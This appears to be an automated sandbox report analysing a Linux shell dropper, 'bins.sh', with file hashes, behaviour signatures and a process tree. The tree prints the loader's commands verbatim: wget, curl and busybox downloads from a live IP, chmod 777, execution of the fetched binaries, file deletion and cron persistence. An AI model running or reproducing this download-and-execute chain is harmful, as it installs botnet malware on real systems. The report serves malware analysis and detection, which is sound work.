Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-11-2024 07:02

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    9df6a14e6b4001c13a62b4575e200d63

  • SHA1

    cf287c33fa75d8178ce187e258d33ff816a4e30e

  • SHA256

    0c9572ec1acc840bac26136687760ba40cf38a36258d44d9091fa5cd543a2f51

  • SHA512

    1977eaf21cf49b7ac8b52497369a28ca4f0d974fa98da6be70a5eea14c222d5d8566c1eb308d59da88d564637ecc999ce6ed42bb1c941edda62eb4b0b9ea6163

  • SSDEEP

    192:Skc9kILGOtvHftOzUQoogUQWkakILGObvh:SxxtOSKz

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1901) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:708
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:711
        • /usr/bin/wget
          wget http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • Writes file to tmp directory
          PID:716
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • Writes file to tmp directory
          PID:731
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/chmod
          chmod 777 osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • File and Directory Permissions Modification
          PID:738
        • /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          ./osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
          • Executes dropped EXE
          PID:739
        • /bin/rm
          rm osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX
          2⤵
            PID:741
          • /usr/bin/wget
            wget http://87.120.84.230/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • Writes file to tmp directory
            PID:742
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • Writes file to tmp directory
            PID:743
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/chmod
            chmod 777 BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • File and Directory Permissions Modification
            PID:745
          • /tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            ./BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
            • Executes dropped EXE
            PID:746
          • /bin/rm
            rm BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE
            2⤵
              PID:748
            • /usr/bin/wget
              wget http://87.120.84.230/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • Writes file to tmp directory
              PID:749
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • Writes file to tmp directory
              PID:750
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • Writes file to tmp directory
              PID:753
            • /bin/chmod
              chmod 777 NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • File and Directory Permissions Modification
              PID:756
            • /tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              ./NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:758
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:760
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:762
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:763
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:764
                  • /bin/rm
                    rm NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3
                    2⤵
                      PID:772
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                      2⤵
                        PID:777
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/CoqkKyrjy7JrJ6jedGpZWMKkn7n0RbJGqX
                        2⤵
                          PID:779

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/BZB56NGFZVHodQiTGw8eici3bbN4G0a9nE

                        Filesize

                        98KB

                        MD5

                        5141342d0df8699fa32a6b066a0c592e

                        SHA1

                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                        SHA256

                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                        SHA512

                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                      • /tmp/NAoyxkH8L8FmokfGC3NA2Jqm8keUgEsCT3

                        Filesize

                        151KB

                        MD5

                        6c583043d91c55aa470c08c87058e917

                        SHA1

                        abf65a5b9bba69980278ad09356e53de8bb89439

                        SHA256

                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                        SHA512

                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                      • /tmp/osGCZxcrAUaoGRcCE2HAijXuoiDJqU78WX

                        Filesize

                        99KB

                        MD5

                        9438d9bc392bcf300a5583b6df5bc8f6

                        SHA1

                        375a6ae34b516f6f3eeea8030c4084f585017efa

                        SHA256

                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                        SHA512

                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                      • /var/spool/cron/crontabs/tmp.rmASAI

                        Filesize

                        210B

                        MD5

                        575ed64e2bb48dedc15b42a24231cab3

                        SHA1

                        6dbfcb04f0ed262d210fb1dfad3d151c1b451c35

                        SHA256

                        353f49d370305decc558232b57d37d572ec28a6be9059ea079acf24b1296d283

                        SHA512

                        4c4e3f370f1cdcc98e0ad412a0b2cbc46ae66eb35106e069fb5c1a5dec939eb9aedf49dc8f5f4be1eeb16c1837fe15377c48656f39fda87cdd608d91b7e521f9